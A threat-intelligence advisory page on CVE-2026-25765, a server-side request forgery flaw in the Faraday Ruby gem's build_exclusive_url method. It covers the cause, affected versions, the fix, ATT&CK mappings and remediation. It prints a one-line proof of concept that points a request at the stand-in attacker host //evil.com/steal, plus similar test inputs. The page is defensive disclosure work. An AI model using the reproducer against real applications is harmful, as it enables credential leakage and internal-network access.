Threat reportVulnerabilityTL-2026-4872
Faraday Ruby HTTP client SSRF via protocol-relative URL in build_exclusive_url (CVE-2026-25765)
Faraday Ruby HTTP client SSRF via protocol-relative URL in (TL-2026-4872), also tracked as GHSA-33mh-2634-fwr2, is a medium-severity software vulnerability scored CVSS 5.8, first published 2026-10-31. It has no confirmed attribution, affects lostisland Faraday (Ruby gem), references 1 CVE (CVE-2026-25765), maps to 6 MITRE ATT&CK techniques (T1018, T1046, T1048), and is covered by 9 detection rules and 12 indicators of compromise.
- CVSS
- 5.8/10Medium
- CVEs
- 1Referenced vulnerabilities
- Techniques
- 6MITRE ATT&CK
- Actors
- 0Not attributed
- Detection rules
- 9SPL · KQL · Sigma
- IOCs
- 12Indicators of compromise
Key facts for TL-2026-4872
- Threat ID
- TL-2026-4872
- Also known as
- GHSA-33mh-2634-fwr2
- Severity
- MEDIUM
- CVSS
- 5.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N)
- Status
- PATCHED
- Category
- VULNERABILITY
- First published
- Last reviewed
- Attribution confidence
- LOW
- Motivation
- UNKNOWN
- Target sectors
- technology, software development, any organization running ruby applications that use faraday
- Target regions
- Global
- Detection rules
- 9
- Indicators of compromise
- 12
Malware and tooling in Faraday Ruby HTTP client SSRF via protocol-relative URL in
Malware and tooling: Ruby, httpclient - S0068, Neo (ProjectDiscovery AI security copilot)
How Faraday Ruby HTTP client SSRF via protocol-relative URL in works
Faraday's build_exclusive_url (versions 1.0.0-1.10.4 and 2.0.0-2.14.0) lets an attacker who controls the request path override the destination host with a protocol-relative URL such as //evil.com/steal, causing server-side request forgery. Fixed in 2.14.1 and 1.10.5; a minimal PoC is public and no in-the-wild exploitation is reported in the sources reviewed.
Faraday is a widely used HTTP client abstraction library for Ruby. Its Faraday::Connection#build_exclusive_url method merges the connection's configured base URL with a caller-supplied path using Ruby's URI#merge. Per RFC 3986 sections 5.2.2 and 5.4, a reference beginning with two slashes (//host/path) is a network-path reference whose authority component replaces the base URL's host. The method only checked whether the input started with a single slash to tell paths from absolute URLs, so //evil.com/steal was treated as 'use this host'.
Minimal reproducer (published in the ProjectDiscovery write-up and the GitHub advisory): conn = Faraday.new(url: 'https://api.internal.com'); conn.get('//evil.com/steal'). The request is sent to https://evil.com/steal instead of api.internal.com. Exploitation requires an application that passes attacker-influenced input as the path argument to Faraday request methods such as get() or post(). Because the request is issued server-side, an attacker can steer it to internal services or to attacker-controlled hosts, which may receive any headers, credentials or bodies the connection attaches (for example default Authorization headers). The CVSS vector (S:C, C:L) reflects the scope change and limited confidentiality impact.
The fix (commit a6d3a3a0bf59c2ab307d0abd91bc126aef5561bc, shipped in v2.14.1; patched in v1.10.5 for the 1.x line) extends the guard in build_exclusive_url so that inputs starting with // are prefixed with ./, neutralizing the authority component and keeping the request on the configured base host. Added tests cover //evil.com/path, //evil.com:8080/path, //user:pass@evil.com/path, ///evil.com and normal single-slash paths. Per ProjectDiscovery, the issue was found autonomously by its AI security copilot Neo (its first credited CVE); the advisory credits reporter theamanrawat and finder neo-ai-engineer. ProjectDiscovery notes Faraday is used in applications and libraries such as GitLab, Fastlane and Google auth libraries; the impact on those products is the article's statement and was not independently verified here.
No threat actor, malware or infrastructure is associated with this vulnerability. The sources do not report in-the-wild exploitation. Defenders should upgrade Faraday, audit code paths that pass untrusted input as the request path, and apply egress filtering. Detection focuses on request logs and application inputs containing a leading // in path parameters and on unexpected outbound destinations from Ruby services.
MITRE ATT&CK techniques used in TL-2026-4872
Discovery
T1018 Remote System Discovery; T1046 Network Service Discovery
Exfiltration
T1048 Exfiltration Over Alternative Protocol
Initial Access
T1190 Exploit Public-Facing Application
Credential Access
T1212 Exploitation for Credential Access; T1552 Unsecured Credentials
Affected products and versions in Faraday Ruby HTTP client SSRF via protocol-relative URL in
- lostisland — Faraday (Ruby gem)
Vulnerable versions: 1.0.0 - 1.10.4; 2.0.0 - 2.14.0
Fixed in: 1.10.5; 2.14.1
Remediation for Faraday Ruby HTTP client SSRF via protocol-relative URL in
Patches
- Faraday v2.14.1 (commit a6d3a3a0bf59c2ab307d0abd91bc126aef5561bc)
- Faraday v1.10.5
Immediate actions
- Upgrade the faraday gem to 2.14.1 or later (1.10.5 or later on the 1.x line)
- Run bundle list / bundle audit to find transitive Faraday dependencies and update them
- Search request logs for path parameters starting with // that reach Faraday-backed endpoints
Workarounds
- Reject user-supplied paths matching //[^/]
- Implement an allowlist for permitted paths
- Prepend ./ to user-supplied paths before calling Faraday
Longer-term hardening
- Never pass untrusted input directly as the path argument of Faraday request methods; use allowlists of permitted paths
- Restrict egress from application servers to approved destinations and block access to internal and metadata ranges
- Avoid attaching default credential headers to connections that can be redirected by user input
- Add dependency scanning (bundler-audit, GHSA/OSV feeds) to CI
CVEs associated with Faraday Ruby HTTP client SSRF via protocol-relative URL in
Weaknesses (CWE) in Faraday Ruby HTTP client SSRF via protocol-relative URL in
Timeline of Faraday Ruby HTTP client SSRF via protocol-relative URL in
- Faraday PR #1569 ('Merge relative url without escaping', author ykrods, merged by iMacTia) merged; the resulting ./ prefix guard (shipped in v2.9.2) exempts inputs starting with /, which is the gap later exploited via //host paths.
- GitHub Security Advisory GHSA-33mh-2634-fwr2 published (CVSS 5.8, CWE-918); credits reporter theamanrawat and finder neo-ai-engineer.
- Faraday v2.14.1 released (15:16 UTC) with an unspecified security fix; commit a6d3a3a adds // handling to build_exclusive_url. Patched 1.x release is v1.10.5.
- CVE-2026-25765 published in NVD with CVSS 3.1 base score 5.8 (MEDIUM); affected Faraday 1.0.0-1.10.4 and 2.0.0-2.14.0.
- ProjectDiscovery publishes write-up describing how its AI copilot Neo found the flaw, including the minimal //evil.com reproducer.
- NVD record for CVE-2026-25765 last modified.
Sources cited for Faraday Ruby HTTP client SSRF via protocol-relative URL in
- How Neo found an SSRF vulnerability in Faraday, and why it matters for every team that ships code
- Faraday GitHub Security Advisory GHSA-33mh-2634-fwr2
- NVD - CVE-2026-25765
- Faraday fix commit a6d3a3a (build_exclusive_url protocol-relative handling)
- Faraday release v2.14.1
- GitLab Advisory Database - faraday CVE-2026-25765
- OSV - CVE-2026-25765
- SentinelOne Vulnerability Database - CVE-2026-25765
- Faraday PR #1569 - Merge relative url without escaping (earlier guard bypassed by this CVE)
- Debian Security Tracker - CVE-2026-25765
- Docker Scout - CVE-2026-25765
- OSV - CVE-2026-25765
- RFC 3986 section 5.2.2 / 5.4 - URI reference resolution
Detection coverage for TL-2026-4872
As of 2026-10-31, Threadlinqs Intelligence publishes 9 detection rule(s) for TL-2026-4872 across Splunk SPL, Microsoft KQL and Sigma, covering 12 indicator(s) of compromise. The whole corpus is readable without an account; a free account unlocks full detection query text in Splunk SPL, Microsoft KQL and Sigma; paid tiers add raw indicator values, correlation and the MCP server. Threadlinqs MCP server · View plans.